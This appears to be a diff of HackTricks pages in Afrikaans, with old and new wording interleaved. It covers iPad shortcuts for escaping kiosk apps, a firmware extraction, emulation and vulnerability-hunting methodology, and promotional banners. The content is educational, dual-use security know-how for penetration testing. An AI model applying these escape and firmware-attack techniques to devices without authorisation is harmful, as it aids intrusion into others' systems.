* Druk die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om krag af te dwing
* Druk die Aan/**Af**/Slaap-knoppie aan die boonste-regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onderste linkerkant van die vertoning sal verskyn. Druk beide knoppies gelyktydig baie kort in, asof jy hulle vir 'n paar sekondes vas hou, sal 'n krag af gedwing word.
### Kortpaaie
Jy moet 'n iPad sleutelbord of 'n USB sleutelbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing sal hier vertoon word.
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing sal hier vertoon word.
| Sleutel | Naam |
| --- | ------------ |
| ⌘ | Bevel |
| ⌥ | Opsie (Alt) |
| ⇧ | Skuif |
| ⇧ | Verskuiwing |
| ↩ | Terugkeer |
| ⇥ | Tab |
| ^ | Beheer |
| ← | Linkerpyl |
| → | Regterpyl |
| ↑ | Bo-pyl |
| ↓ | Af-pyl |
| ↑ | Op Pyl |
| ↓ | Af Pyl |
#### Stelsel kortpaaie
@ -242,54 +243,54 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
| Kortpaaie | Aksie |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Gaan na die Huis |
| ⌘⇧H (Bevel-Skuif-H) | Gaan na die Huis |
| ⌘⇧H (Bevel-Verskuiwing-H) | Gaan na die Huis |
| ⌘ (Spasie) | Maak Spotlight Oop |
| ⌘⇥ (Bevel-Tab) | Lys van laaste tien gebruikte Programme |
| ⌘\~ | Gaan na die laaste Program |
| ⌘⇧3 (Bevel-Skuif-3) | Skermkiekie (bly in die onderste linkerkant om dit te stoor of daarop te reageer) |
| ⌘⇧3 (Bevel-Verskuiwing-3) | Skermkiekie (bly in die onderste linkerkant om dit te stoor of daarop te reageer) |
| ⌘⇧4 | Skermkiekie en maak dit oop in die redigeerder |
| Druk en hou ⌘ | Lys van beskikbare kortpaaie vir die Program |
| ⌘⌥D (Bevel-Opsie/Alt-D) | Maak die dok oop |
| ⌘⌥D (Bevel-Opsie/Alt-D) | Bring die dok op |
| ^⌥H (Beheer-Opsie-H) | Huis-knoppie |
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitask-balk |
| ^⌥I (Beheer-Opsie-i) | Item kiesaar |
| ^⌥I (Beheer-Opsie-i) | Item kieser |
| Ontsnapping | Terug knoppie |
| → (Regterpyl) | Volgende item |
| ← (Linkerpyl) | Vorige item |
| ↑↓ (Bo-pyl, Af-pyl) | Gelyktydig tik op die gekose item |
| ⌥ ↓ (Opsie-Af-pyl) | Rol af |
| ⌥↑ (Opsie-Bo-pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Links-pyl of Opsie-Regs-pyl) | Rol links of regs |
| ↑↓ (Op pyl, Af pyl) | Gelyktydig tik op die gekose item |
| ⌥ ↓ (Opsie-Af pyl) | Rol af |
| ⌥↑ (Opsie-Op pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Links pyl of Opsie-Regs pyl) | Rol links of regs |
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver spraak aan of af |
| ⌘⇧⇥ (Bevel-Skuif-Tab) | Skakel na die vorige Program |
| ⌘⇧⇥ (Bevel-Verskuiwing-Tab) | Skakel na die vorige Program |
| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike Program |
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur die Dok |
#### Safari snelkoppelinge
| Snelkoppeling | Aksie |
| Snelkoppeling | Aksie |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe laken oop |
| ⌘W | Sluit die huidige laken |
| ⌘R | Verfris die huidige laken |
| ⌘. | Stop met die laai van die huidige laken |
| ^⇥ | Skakel na die volgende laken |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige laken |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop met die laai van die huidige lappie |
| ^⇥ | Skakel na die volgende lappie |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige lappie |
| ⌘L | Kies die teks invoer/URL-veld om dit te wysig |
| ⌘⇧T (Command-Shift-T) | Maak laaste geslote laken oop (kan verskeie kere gebruik word) |
| ⌘⇧T (Command-Shift-T) | Maak laaste geslote lappie oop (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan een bladsy terug in jou blaai-geskiedenis |
| ⌘] | Gaan een bladsy vorentoe in jou blaai-geskiedenis |
| ⌘⇧R | Aktiveer Leesermodus |
| ⌘⇧R | Aktiveer Leesmodus |
#### Poskantoor snelkoppelinge
#### Pos snelkoppelinge
| Snelkoppeling | Aksie |
| ----------------------- | ---------------------------- |
| ⌘L | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe laken oop |
| ⌘W | Sluit die huidige laken |
| ⌘R | Verfris die huidige laken |
| ⌘. | Stop met die laai van die huidige laken |
| ------------------------ | ---------------------------- |
| ⌘L | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop met die laai van die huidige lappie |
| ⌘⌥F (Command-Option/Alt-F) | Soek in jou posbus |
## Verwysings
@ -303,24 +304,25 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksionaliteite bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** is **gekompromiteer**.
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Hul primêre doel van WhiteIntel is om rekening-oorneem te bekamp en losgeldware-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en losgeldware-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Firmware Analise
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hakwerktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
## **Inleiding**
@ -20,7 +21,7 @@ Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk
## **Inligting Versameling**
**Inligting Versameling** is 'n kritieke aanvanklike stap om 'n begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik, te verkry. Hierdie proses behels die insameling van data oor:
**Inligting Versameling** is 'n kritieke aanvanklike stap om 'n toestel se samestelling en die tegnologieë wat dit gebruik, te verstaan. Hierdie proses behels die insameling van data oor:
* Die CPU-argitektuur en bedryfstelsel waarop dit loop
* Bootloader spesifieke inligting
@ -29,29 +30,29 @@ Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk
* Eksterne biblioteke en lisensietipes
* Opdateringsgeskiedenisse en reguleringsertifisering
* Argitektoniese en vloeidiagramme
* Sekuriteitsassesserings en geïdentifiseerde kwesbaarhede
* Sekuriteitsassesserings en geïdentifiseerde kwessies
Vir hierdie doel is **open-source intelligensie (OSINT)**-hulpmiddels van onschatbare waarde, asook die analise van enige beskikbare oopbron sagtewarekomponente deur middel van handmatige en geoutomatiseerde hersieningsprosesse. Hulpmiddels soos [Coverity Scan](https://scan.coverity.com) en [Semmles LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële kwessies te vind.
Vir hierdie doel is **open-source intelligensie (OSINT)**-hulpmiddels van onschatbare waarde, asook die analise van enige beskikbare oopbron-sagtewarekomponente deur middel van handmatige en geoutomatiseerde hersieningsprosesse. Hulpmiddels soos [Coverity Scan](https://scan.coverity.com) en [Semmles LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële kwessies te vind.
## **Verkryging van die Firmware**
Die verkryging van firmware kan op verskeie maniere benader word, elk met sy eie vlak van kompleksiteit:
* **Direk** van die bron (ontwikkelaars, vervaardigers)
* **Bou** dit volgens die verskafte instruksies
* Dit **bou** deur die voorsiene instruksies
* **Aflaai** van amptelike ondersteuningswebwerwe
* Gebruik **Google dork**-navrae om gehuisvese firmware lêers te vind
* Direkte toegang tot **wolkmemorie**, met hulpmiddels soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Gebruik **Google dork**-navrae om gehuisvese firmware-lêers te vind
* Direkte toegang tot **wolkmagazyn** met hulpmiddels soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
* Onderskepping van **opdaterings** deur man-in-die-middel tegnieke
* **Uitpakking** van die toestel deur koppelings soos **UART**, **JTAG**, of **PICit**
* **Sniffing** vir opdateringsversoeke binne toestelkommunikasie
* Identifisering en gebruik van **hardgekoppelde opdaterings-eindpunte**
* **Dumping** vanaf die bootloader of netwerk
* **Verwydering en lees** van die stoor skyf, wanneer alles anders faal, deur die gebruik van toepaslike hardewarehulpmiddels
* **Verwydering en lees** van die stoorchip, wanneer alles anders faal, deur die gebruik van toepaslike hardewarehulpmiddels
## Analise van die firmware
Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te hanteer. Verskillende hulpmiddels wat jy daarvoor kan gebruik:
Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te hanteer. Verskillende hulpmiddels wat jy vir dit kan gebruik:
```bash
file <bin>
strings -n8 <bin>
@ -62,13 +63,13 @@ fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Indien jy nie veel vind met daardie gereedskap nie, kontroleer die **entropie** van die beeld met `binwalk -E <bin>`, as die entropie laag is, is dit nie waarskynlik versleutel nie. As die entropie hoog is, is dit waarskynlik versleutel (of op een of ander manier saamgedruk).
Verder kan jy hierdie gereedskap gebruik om **lêers wat binne die firmware ingebed is**, te onttrek:
Verder kan jy hierdie gereedskap gebruik om **lêers wat binne die firmware ingebed is, te onttrek**:
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te ondersoek.
Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te inspekteer.
### Kry die Lêersisteem
@ -77,7 +78,7 @@ Binwalk onttrek dit gewoonlik binne 'n **vouer wat genoem word na die lêersiste
#### Handmatige Lêersisteem Uittrekking
Soms sal binwalk **nie die sielkundige byte van die lêersisteem in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêersisteem te vind en die saamgedrukte lêersisteem uit die binêre te sny** en **handmatig die lêersisteem te onttrek** volgens sy tipe deur die stappe hieronder te volg.
Soms sal binwalk **nie die sielkundige byte van die lêersisteem in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêersisteem te vind en die saamgedrukte lêersisteem te kerf** uit die binêre en **handmatig die lêersisteem te onttrek** volgens sy tipe deur die stappe hieronder te volg.
```
$ binwalk DIR850L_REVB.bin
@ -109,15 +110,15 @@ Alternatiewelik kan die volgende bevel ook uitgevoer word.
Lêers sal daarna in die "`squashfs-root`" gids wees.
* CPIO argief lêers
* CPIO-argief lêers
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Vir jffs2 lêersisteme
* Vir jffs2-lêersisteme
`$ jefferson rootfsfile.jffs2`
* Vir ubifs lêersisteme met NAND flash
* Vir ubifs-lêersisteme met NAND-flits
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
@ -125,11 +126,11 @@ Lêers sal daarna in die "`squashfs-root`" gids wees.
## Ontleding van Firmware
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om die firmwarebeeld te analiseer en waardevolle data daaruit te onttrek.
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede daarvan te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmwarebeeld te ontleed en te onttrek.
### Inisïele Analise Gereedskap
### Inisieële Ontledingsgereedskap
'n Stel bevele word voorsien vir die aanvanklike inspeksie van die binêre lêer (verwys as `<bin>`). Hierdie bevele help om lêertipes te identifiseer, strings te onttrek, binêre data te analiseer, en die partisie- en lêersisteemdetail te verstaan:
'n Stel bevele word voorsien vir die aanvanklike inspeksie van die binêre lêer (verwys as `<bin>`). Hierdie bevele help om lêertipes te identifiseer, strings te onttrek, binêre data te ontleed, en die partisie- en lêersisteembesonderhede te verstaan:
```bash
file <bin>
strings -n8 <bin>
@ -150,31 +151,33 @@ $ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
### Lêerstelselontleding
Na afloop, afhangende van die lêersisteemtipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende bevele gebruik om die inhoud handmatig te onttrek.
Met die lêerstelsel ontleed, begin die soektog na sekuriteitsgebreke. Aandag word gegee aan onveilige netwerkdemonne, hardgekoppelde geloofsbriewe, API-eindpunte, opdateringsserwerfunksionaliteite, ongekompileerde kodes, aanvangsskrifte en gekompileerde binêre lêers vir aflynontleding.
### Lêersisteemanalise
**Belangrike plekke** en **items** om te ondersoek sluit in:
Met die lêersisteem onttrek, begin die soektog na sekuriteitsgebreke. Aandag word geskenk aan onveilige netwerkdemonne, hardgekoppelde geloofsbriewe, API-eindpunte, opdateringbedienerfunksionaliteite, ongekompileerde kodes, aanvangskripte, en gekompileerde binêre lêers vir aflynontleding.
**Sleutellokasies** en **items** om te ondersoek sluit in:
- **etc/shadow** en **etc/passwd** vir gebruikersgelde
- SSL-sertifikate en sleutels in **etc/ssl**
- Opset- en skriplêers vir potensiële kwesbaarhede
- Opset- en skriptlêers vir potensiële kwesbaarhede
- Ingeslote binêre lêers vir verdere ontleding
- Gewone IoT-toestel-webbedieners en binêre lêers
- Gewone IoT-toestel-webbediener en binêre lêers
Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêerstelsel bloot te lê:
Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêersisteem bloot te lê:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir soektogte na sensitiewe inligting
- [**Die Firmware-ontledings- en vergelykingstool (FACT)**](https://github.com/fkie-cad/FACT\_core) vir omvattende firmware-ontleding
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese ontleding
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir soektog na sensitiewe inligting
- [**Die Firmwareontledings- en Vergelykingstool (FACT)**](https://github.com/fkie-cad/FACT\_core) vir omvattende firmware-ontleding
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese ontleding
### Sekuriteitskontroles op Gekompileerde Binêre Lêers
Bronkode en gekompileerde binêre lêers wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix-binêre lêers en **PESecurity** vir Windows-binêre lêers help om onbeskermde binêre lêers te identifiseer wat uitgebuit kan word.
Bronkode en gekompileerde binêre lêers wat in die lêersisteem gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix-binêre lêers en **PESecurity** vir Windows-binêre lêers help om onbeskermde binêre lêers te identifiseer wat uitgebuit kan word.
## Nabootsing van Firmware vir Dinamiese Ontleding
Die proses van die nabootsing van firmware maak **dinamiese ontleding** van 'n toestel se werking of 'n individuele program moontlik. Hierdie benadering kan uitdagings in die vorm van hardeware- of argitektuurafhanklikhede inhou, maar die oordrag van die hooflêerstelsel of spesifieke binêre lêers na 'n toestel met 'n ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetse fasiliteer.
Die proses van die nabootsing van firmware maak **dinamiese ontleding** van óf 'n toestel se werking óf 'n individuele program moontlik. Hierdie benadering kan uitdagings in die vorm van hardeware- of argitektuurafhanklikhede inhou, maar die oordrag van die hooflêersisteem of spesifieke binêre lêers na 'n toestel met 'n ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
### Nabootsing van Individuele Binêre Lêers
@ -190,42 +193,38 @@ En om die nodige emulasiehulpmiddels te installeer:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
### MIPS (big-endian)
Vir MIPS (groot-eindian), word `qemu-mips` gebruik, en vir klein-eindian binêre lêers, sou `qemu-mipsel` die keuse wees.
### ARM-argitektuur Emulasie
Vir ARM-binêre lêers is die proses soortgelyk, met die `qemu-arm` emulator wat gebruik word vir emulasie.
### Volledige Stelsel Emulasie
### Volledige Sisteem Emulasie
Hulpmiddels soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volledige firmware emulasie, outomatiseer die proses en help met dinamiese analise.
Hulpmiddels soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analise Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volledige firmware emulasie, outomatiseer die proses en help met dinamiese analise.
### Dinamiese Analise in Praktyk
## Dinamiese Analise in Praktyk
Op hierdie stadium word óf 'n werklike óf 'n geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om skaaltoegang tot die OS en lêersisteem te behou. Emulasie mag nie hardeware-interaksies perfek naboots nie, wat af en toe emulasie-herstarts noodsaaklik maak. Analise behoort die lêersisteem te hersien, blootgestelde webbladsye en netwerkdienste te benut, en opstartlaaierkwesbaarhede te ondersoek. Firmware-integriteitstoetse is krities om potensiële agterdeurkwesbaarhede te identifiseer.
Op hierdie stadium word óf 'n werklike óf 'n geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om skaal toegang tot die OS en lêersisteem te behou. Emulasie mag nie hardeware-interaksies perfek naboots nie, wat af en toe emulasie herstarts noodsaaklik maak. Analise behoort die lêersisteem te hersien, blootgestelde webbladsye en netwerkdienste te benut, en opstartlaaier kwesbaarhede te ondersoek. Firmware-integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
### Runtime Analise Tegnieke
## Runtime Analise Tegnieke
Runtime-analise behels interaksie met 'n proses of binêre lêer in sy bedryfsomgewing, deur gereedskap soos gdb-multiarch, Frida, en Ghidra te gebruik om breekpunte te stel en kwesbaarhede deur fuzzing en ander tegnieke te identifiseer.
Runtime-analise behels interaksie met 'n proses of binêre lêer in sy bedryfsomgewing, deur gebruik te maak van hulpmiddels soos gdb-multiarch, Frida, en Ghidra om breekpunte in te stel en kwesbaarhede deur fuzzing en ander tegnieke te identifiseer.
### Binêre Uitbuiting en Bewys-van-Konsep
## Binêre Uitbuiting en Bewys-van-Konsep
Die ontwikkeling van 'n PoC vir geïdentifiseerde kwesbaarhede vereis 'n diepgaande begrip van die teikenargitektuur en programmering in laervlak tale. Binêre runtime-beskerming in ingebedde stelsels is skaars, maar wanneer teenwoordig, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
### Voorbereide Bedryfstelsels vir Firmware-analise
## Voorbereide Bedryfstelsels vir Firmware Analise
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf gekonfigureerde omgewings vir firmware-sekuriteitstoetse, toegerus met nodige gereedskap.
Bedryfstelsels soos [AttifyOS](https://github.com/adi0x90/attifyos) en [EmbedOS](https://github.com/scriptingxss/EmbedOS) bied vooraf gekonfigureerde omgewings vir firmware-sekuriteitstoetsing, toegerus met nodige hulpmiddels.
### Voorbereide BS'e om Firmware te analiseer
## Voorbereide BS'e om Firmware te analiseer
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro bedoel om jou te help met die uitvoer van sekuriteitsassessering en indringingstoetsing van Internet of Things (IoT) toestelle. Dit bespaar baie tyd deur 'n vooraf gekonfigureerde omgewing met al die nodige gereedskap gelaai te voorsien.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingebedde sekuriteitstoetsbedryfstelsel gebaseer op Ubuntu 18.04 voorgelaai met firmware-sekuriteitstoetsgereedskap.
* [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS is 'n distro bedoel om jou te help met die uitvoering van sekerheidsevaluering en indringingstoetsing van Internet of Things (IoT) toestelle. Dit bespaar baie tyd deur 'n vooraf gekonfigureerde omgewing met al die nodige hulpmiddels gelaai te voorsien.
* [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Ingeslote sekerheidstoetsbedryfstelsel gebaseer op Ubuntu 18.04 voorgelaai met firmware-sekuriteitstoetsingshulpmiddels.
### Kwesbare firmware om te oefen
## Kwesbare firmware om te oefen
Om kwesbaarhede in firmware te oefen, gebruik die volgende kwesbare firmwareprojekte as 'n beginpunt.
Om kwesbaarhede in firmware te ontdek, gebruik die volgende kwesbare firmwareprojekte as 'n beginpunt.
* OWASP IoTGoat
* [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
@ -240,11 +239,11 @@ Om kwesbaarhede in firmware te oefen, gebruik die volgende kwesbare firmwareproj
* Damn Vulnerable IoT Device (DVID)
* [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
### Verwysings
## Verwysings
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
* [Praktiese IoT Hacking: Die Definitiewe Gids tot die Aanval op die Internet van Dinge](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
### Opleiding en Sertifisering
## Opleiding en Sertifisering
* [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

View file

@ -1,23 +1,24 @@
# Bypass Linux Beperkings
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
